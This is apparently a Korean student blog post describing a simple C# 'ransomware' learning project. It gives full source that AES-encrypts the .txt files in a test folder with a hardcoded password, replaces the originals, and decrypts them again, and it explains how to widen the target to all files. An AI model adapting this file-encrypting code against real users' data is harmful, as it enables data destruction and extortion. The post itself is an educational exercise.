카테고리 없음

C#으로 랜섬웨어 만들기

sjong 2024. 2. 19. 18:53

1. 개요

랜섬웨어를 한 번쯤은 만들고 싶었는데 파이썬은 선배님들이 이미 하신 상태였기 때문에 C#을 복습한다는 의미에서 C언어로 도전했다.

 

2. 팀

이서종

나 혼자다..

 

3. 프로젝트에 앞선 C#소개

 

프로젝트 설명에 앞서 모두에게 익숙하지 않은 C#을 대충 알아보자면

C언어, C++보다 늦게 나온 언어이고 씨샵이라고 읽는다.

또한 범용성이 굉장히 크며 Visual Studio의 확장 프로그램 개발에 쓰이는 언어이기도 하다.

C#을선택한 이유도 범용성인데 다른 언어의 경우 제약이 너무 크다. 

 

4. 프로젝트 설명

 

전체 코드부터 보자

using System;
using SharpAESCrypt;

namespace Test
{
    class Program
    {
        static void Main(string[] args)
        {

            //경로 지정
            string dir = @"C:/Layer7Project/Ransomware/test/";
            List<string> files = new List<string>();
            DirectoryInfo d = new DirectoryInfo(dir);


            //원하는 파일의 형식(여러개도 가능)
            foreach (var file in d.GetFiles("*.txt"))
            {
                files.Add(file.ToString());
            }


            //암호화
            foreach (string file in files)
            {
                string encrypted_file = dir + "encrypted_file.txt";
                SharpAESCrypt.SharpAESCrypt.Encrypt("password", file, encrypted_file);
                File.Delete(file);
                File.Move(encrypted_file, file);
            }

            //복호화
            foreach (string file in files)
            {
                string decrypted_file = dir + "decrypted_file.txt";
                SharpAESCrypt.SharpAESCrypt.Decrypt("password", file, decrypted_file);
                File.Delete(file);
                File.Move(decrypted_file, file);
            }
        }
    }
}

 먼저 처음으로 봤을 땐 코드가 짧은 거에 의문을 가질 텐데 C#이기에 가능한 것이다.

개발환경 설정부터 알아보자

 

visual studio에선 기본정으로 너겟 패키지라는 것이 존재한다.

여기에 들어가보면

이런 창이 추가된다.

나 같은 경우는 AES암호화를 사용할 것이기에 dll모듈을 설치하였다.

즉, 라이브러리를 하나 가져왔다고 생각하면 된다.

파이썬으로 생각해 보면 터미널 명령어로 모듈 설치를 한 것이다.

SharpAESCrypt는 암호화 라이브러리를 지원해 주는데 내가 원하는 파일이나 문자열을 암호화, 그리고 복호화까지 해준다.

 

 

맨 위에 using SharpAESCrypt로 모듈을 사용하고 있다.

경로 지정부터 보면 string dir로 변수를 설정해 준다.

실제 경로인 것을 볼 수 있다.

사실상 문자열을 설정해 준 것이고 아래에 new DirectoryInfo를 사용하여 저 문자열에 해당하는 파일을 찾는 것이다.

보면 "*.txt"로 txt파일을 목적으로 전부 암호화시키려는 것을 볼 수 있다.

만약 컴퓨터 파일 전체를 암호화시키고 싶으면 "*."까지만 하면 된다.

암호화와 복호화 과정이다. 암호화와 복호화에 관한 건 이미 전에 친구와 프로젝트로 했기에 코드설명을 중점으로 해보겠다.

 

먼저 두 코드의 공통점으로는 파일을 삭제했다가 다른 파일을 옮기고 있다. 

예를 들어 file.txt가 있다면 이를 암호화 한 파일 (encrypted_file)을 생성하고 기존 파일의 내용은 지우면서 다시 암호화된 파일의 내용을 기존 파일로 옮기는 것이다.

반대로 복호화 코드는 암호화 한 파일의 내용을 지우고 복호화된 파일을 다시 옮긴다고 보면 된다.

 

원한다면 기존 파일의 내용도 따로 저장하여 좀 더 역겨운 랜섬웨어를 만들 수 있다만 거기까지 공부하기엔 내 뇌가 터져버릴 것 같았다.

string encrypted_file = dir + "encrypted_file.txt";
SharpAESCrypt.SharpAESCrypt.Encrypt("password", file, encrypted_file);

이 부분을 보면 첫째 줄에 dir 경로에 "encrypted_file.txt"라는 제목의 파일을 추가하려고 하는데, 아래 코드에서 모듈을 활용하여 암호화까지 진행하고 있다. 

물론 복호화 코드도 이거랑 똑같다.

 

결론적으로 코드 설명은 여기까지 하고 프로그램 실행 방법을 보자.

 

5. 코드 실행 설명

위에 보면은 코드 2개가 있고 각각 암호화와 복호화를 담당한다는 것은 알고 있을 것이다.

그런데 이 상태로 실행하면 당연히 암호화와 복호화가 동시에 진행되고 파일은 그대로다.

그렇기에 만약 내가 암호화를 하고 싶다면 아래 코드를 주석처리 한 뒤 실행하면 된다.

 

6. 코드 실행 

처음에는 "Layer7 is the best"라고 적혀있다.

암호화 코드를 실행해 보면

이상한 글자로 되어있는 것을 볼 수 있다.

다시 복호화를 해보자

굿